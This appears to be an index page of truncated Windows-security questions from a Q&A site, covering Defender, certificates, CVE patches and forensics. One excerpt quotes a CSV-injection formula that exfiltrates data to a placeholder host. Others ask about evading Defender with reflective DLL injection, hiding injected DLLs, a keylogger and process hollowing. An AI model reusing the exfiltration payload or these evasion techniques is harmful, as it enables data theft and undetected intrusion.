Questions tagged [windows]

Related to security concerns specific to the Microsoft Windows operating system itself. For security of applications that happen to be running on Windows, please use [appsec]. For the X Window System, please use [x11].

Filter by
Sorted by
Tagged with
1
vote
1answer
91 views

How exactly does Windows Defender in Windows 10 determine when to upload your local files to Microsoft?

Every time I install Windows 10, I painstakingly go through every setting that can be found in any GUI setting for the OS, disabling everything that sounds creepy. One of the most disturbing things I'...
0
votes
0answers
13 views

Windows Application Guard browser not connecting to the internet, error 0x800706ba [migrated]

So I've tried reinstalling WDAG a few times and I keep getting this error after the computer boots up, when i load up Edge and start my WDAG session, once the window opens it has no internet ...
2
votes
0answers
35 views

Windows command bypassing Sandboxie

Using Sandboxie typing net user some_user some_password, on a sandboxed cmd, actually changes the password of the real user. Is this intentional? It is just a default Sandboxie installation running ...
0
votes
1answer
155 views

exploiting CVE-2020-0668 problem

I've been trying to get mentioned security error working on my machine so I could fully understand how it works. I've been following those instructions: https://itm4n.github.io/cve-2020-0668-windows-...
0
votes
0answers
25 views

Prevent external program from opening internet [closed]

Sometimes when you uninstall a program, your web browser will open and load a survey website. What is the best way to prevent this potentially unsecure behavior on Windows machines?
0
votes
0answers
37 views

Problem while debugging services with WinDBG using GFLAGS

I have a problem when I try to debug services using WinDBG and GFLAGS. Here's some screen shots resuming my problem. First, I configured GFLAGS like this: Then, I launched the service, and used the ...
-1
votes
2answers
48 views

Binding self signed certificate to a signed application/exe

This is a follow up to this question I asked before. While I am happy to custom verify the certificate from the client side using the thumbprint approach, there is one additional scenario I wish to ...
1
vote
1answer
45 views

Custom certificate verification using thumbprint

I'm trying to confirm if the approach I'm thinking of taking towards verifying a self signed certificate is sound, or if I'm going about it the wrong way. I'm no security expert, so bear with me ...
6
votes
2answers
178 views

Does “=cmd” CSV injection still exist in 2020?

I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as: =WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
-1
votes
0answers
124 views

How to apply hashing SHA256 on Django LDAP login? [closed]

I'm using LDAP authentication in Django, as shown below and also using password hashers. from django_auth_ldap.config import PosixGroupType, LDAPSearch import ldap PASSWORD_HASHERS = [ 'django....
1
vote
0answers
54 views

does pasting a url into a chrome file upload dialog box (windows process) have security issues?

When using Chrome and I select a file for upload on a website that accepts files, a Windows dialog box appears for me to select a file. I can then paste a URL address for a file in the dialog box, ...
0
votes
1answer
61 views

Is bad policy to allow a Windows service using the LocalSystem account to execute arbitrary files in an Administrator-protected folder?

Since an administrator on a Windows system can install a service that logs on as LocalSystem, is it considered bad practice to allow that service to execute programs in a directory known to be ...
0
votes
0answers
51 views

Windows threat detection [closed]

Is there any structured approach to perform a threat detection in Windows? I've seen SANS offering Windows Forensics education but I can't find any good resource to start. I know I have been ...
0
votes
0answers
31 views

How I can I make VBA macro force Run As Administrator

I'm trying to perform Reflective Dll Injection via VBA macro. The main idea behind using Reflective Dll Injection is to bypass Windows Defender as dropping an dll onto the disk seems very loud. The ...
0
votes
0answers
117 views

Why is DNS apparently involved in typing “dir” on Windows 10? [migrated]

For complicated reasons, I have been forced to make an identical copy of cmd.exe and rename it to cmd-2.exe, which I put a shortcut to in the Taskbar. The reason is purely to have them "grouped" in ...
-1
votes
1answer
112 views

What is the likihood of get hacked or infected using an end-of-life Windows 7? [closed]

How likely is one to get hacked or infected using an end-of-life Windows 7 if you dont upgrade to either Windows 8 or Windows 10 ?
1
vote
1answer
47 views

How do I verify the supported ciphersuites of a TLS server that only accepts POST requests?

I'm currently trying to get a bidirectional TLS 1.2 connection working between 2 local Karaf-based XMLRPC servers that by design only accept POST requests. The environment is Windows 10 and both ...
6
votes
3answers
248 views

Safely use old windows XP machine in business network

I have a client that has a couple of machines that are build to cut kitchen tables. These machines still run on Windows XP and are connected to the internet. Now I need to find a way that these ...
1
vote
1answer
56 views

Secure Windows 10 Home admin's data behind a password, even when user apps are running

Windows 10 Home's default account lock system for the admin account is not completely secure because there are multiple free password recovery tools & ways available that can be used by a non-...
-1
votes
0answers
72 views

Minimum (safest) firewall holes to create to connect to public WiFi networks and use a web browser?

What are the minimum (safest) Windows Firewall holes to make to permit Windows 7-10 computers to connect to public (secured or open) WiFi networks and browse the web with any modern web browser? ...
0
votes
0answers
15 views

Equivalent 'grep' and 'sed' commands on Windows [migrated]

I'm doing some tests with a domain that I have, I want that, when doing the TXT query, receive a string in base64 and decode it showing the message. On Linux, it works perfectly: $ dig -t txt my....
2
votes
1answer
69 views

Can somebody straighten my (hopefully) confusion about USB device security in Windows once and for all?

Am I really understanding things correctly if I claim that: If an USB stick/device is inserted into a PC running Windows, currently in "lock screen" mode (that is, somebody has pressed WinKey + L), ...
2
votes
2answers
193 views

Can product keys harm computer?

I downloaded Windows from Microsoft website. Then I type in (or paste) a product key that I bought from an unofficial seller to activate Windows. Can that lead to any security issues?
0
votes
2answers
105 views

Preventing Users from Using QR Code Password and Scanner for Authentication [duplicate]

A user was discovered using a QR code to log into a PC. Apparently, the password was put into a QR code generator and printed. The user: Provides their username Scans the QR code with a handheld ...
4
votes
1answer
150 views

Why do viruses that wipe boot sectors exist?

In a moment of desperation and without thinking, I executed an .exe file purporting to be a pirated version of a hard-to-find program, forgetting that I had no real-time antivirus active. A few ...
2
votes
1answer
107 views

How to tell if a commercial program is malicious? [duplicate]

Could anyone tell me if there's a way I can trust an application I'm running on my computer. Like a video game, for example, or the launcher of that video game. How can I know if, Counter-Strike for ...
0
votes
0answers
42 views

Questions about process hollowing

When it's time to write the malicious image inside the hollowed process, apparently the goal is to allocate memory exactly at the image base address of the hollowed process. Why? Why not allocate ...
0
votes
0answers
64 views

Interpreting SSH information on Windows Event Viewer… sshd: Did not receive identification string from ipaddress on port portnumber

I am currently reading through Windows Event Log (OpenSSH) looking at the artefacts created by an attack, I am trying to understand the meaning of certain notifications. A brute force attack was ...
2
votes
1answer
50 views

Can any tools/tactics produce a higher confidence in a clean system than Microsoft Security Scanner?

In the process of trying to recover data in bulk from what I assumed was a failing hard drive, Windows Security kindly notified me it had found a handful of malicious items among the recovered files. ...
0
votes
1answer
89 views

Bitlocker without PIN

In simple words: Does Bitlocker (without Pin) transforms the normal "Windows User login" into something secure? So if you activate Bitlocker (without a pin before booting) you are forced to use the ...
0
votes
1answer
109 views

Bypassing Windows Defender VBA custom code

I've recently written a simple keylogger using classic DLL-injection technique. I wanted to simulate a real phishing attack where the user opens an Office document with macros and by enabling them he ...
0
votes
0answers
17 views

Newly bought HP Pavilion laptop - bloatware - security risks [duplicate]

I’ve recently bought a new HP Pavilion laptop, it came with pre-installed software (bloatware) such as various games and other useless stuff. When setting up the laptop, i was connected to AIS, which ...
2
votes
1answer
136 views

What forensics should be collected as part of an incident response plan on Windows 10?

I am in the process of creating an IRP that responds to system hacks. I have attacked the Windows 10 myself (victim machine), using Metasploit on Kali Linux software, where I managed to gain access ...
0
votes
0answers
37 views

LSASS Activity is Being Flagged as a Potentially Compromised Host - How should I investigate this?

We've recently been seeing new security events being flagged to the SOC for activity involving LSASS usage from the wmiprvse.exe process across multiple Windows servers. We've investigated the ...
3
votes
2answers
2k views

Does CVE-2020-0601 (CRYPT32.DLL critical exploit) affect Windows 7 and is there a patch to fix it?

I'm getting conflicting reports. Search in Google: "windows 7" fix CVE-2020-0601 The top result (from PCWorld) claims that "contrary to earlier rumors, it does not affect Windows 7". Scrolling down ...
0
votes
1answer
156 views

Show confirmation popup before running any downloaded program in Windows 10

I often download files either using my browser or by torrenting. Few times, I encountered an attack where the torrented file was called something like movie.mp4.lnk and the target was set to run a ...
2
votes
1answer
240 views

How to ensure Windows 10 is safe from critical security hole reported by NSA on 2020-01-14?

All over the news today (2020-01-14) is the story that the NSA and Microsoft have reported a critical security vulnerability in Windows 10. But I haven't been able to find clear instructions about ...
0
votes
0answers
39 views

Securing application on windows 10

I need to figure out how to run my application on Windows 10. My application would run on an app-specific account (let's called it "App"). My application saves/reads PDFs from the folder "PDF". I ...
1
vote
1answer
108 views

Breaking SAM windows password file offline

Is it possible to break a Windows encrypted SAM file where passwords are stored if you have the physical drive offline? Thanks
0
votes
1answer
34 views

How to protect Server running on Windows 10 with Node Ngrok against attackers?

I'm running https://ngrok.com/ on Windows 10 pro with a custom app made on Node server running locally (can't be Linux) for a test suite that uses both web and desktop integrated. So I'm basically ...
7
votes
2answers
2k views

How to recognize if this code is dangerous [closed]

I just received some obfuscated code and would like to de-obfuscate it. Could someone explain which encryption method is being used? And how I could reverse it. The code is: On error resume next Data=...
0
votes
0answers
84 views

Could this be considered lateral movement or is this normal activity?

Has anyone encountered this type of logon (4624 Type 3). The accounts are logging on then off within a few seconds. We are noticing this activity in the morning, which would be when they start working....
-1
votes
1answer
147 views

How can I hide DLL that loaded into the process memory? [closed]

I performed "reflective DLL injection", but I am trying to determining if I can view the injected DLL? if so, how can I hide it?
0
votes
0answers
62 views

How to detect if a Windows server is vulnerable to DejaBlue?

I tried to check with the: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1181 and: systeminfo | findstr "KB" combo, but not sure. The Q: How can I be 100% sure, ...
2
votes
3answers
192 views

Would services or whole operating systems written in pure Python/Java be safer?

Many Windows and Linux services are written in C and/or C++. Due to that fact, they can be exploited in several ways due to the lack of memory security (buffer overflow, etc.). Are services written ...
0
votes
0answers
59 views

A certificate contains an unknown extension that is marked “critical.”

I recently got my digital certificate to sign my software. Today I signed my first piece of software, it all went well until, I got the error, "A certificate contains an unknown extension that is ...
0
votes
0answers
33 views

PCI compliance and VM server administrator

I have a situation where an application has to encrypt/decrypt some credit card data, each encryption key (it could be symmetric or private asymmetric) has to be in two separate places, managed by ...
0
votes
1answer
78 views

In Windows How to determine encryption algorithm used in certificate

How can one determine the encryption algorithm type (e.g. AES, DES, 3DES, etc.) that is used by a certificate in Windows (10, 2012-2019)? Is it obvious, and I'm just not seeing it in the certificate ...
1
vote
0answers
95 views

Passively read key from process memory without invoking kernel (windows 10)

I have a process that loads into memory like any other process. It contains a special key. Our goal is to read this key inside memory...or while it is in transit across the data bus from cpu. The ...
1
vote
0answers
49 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...

1 2 3 4 5 37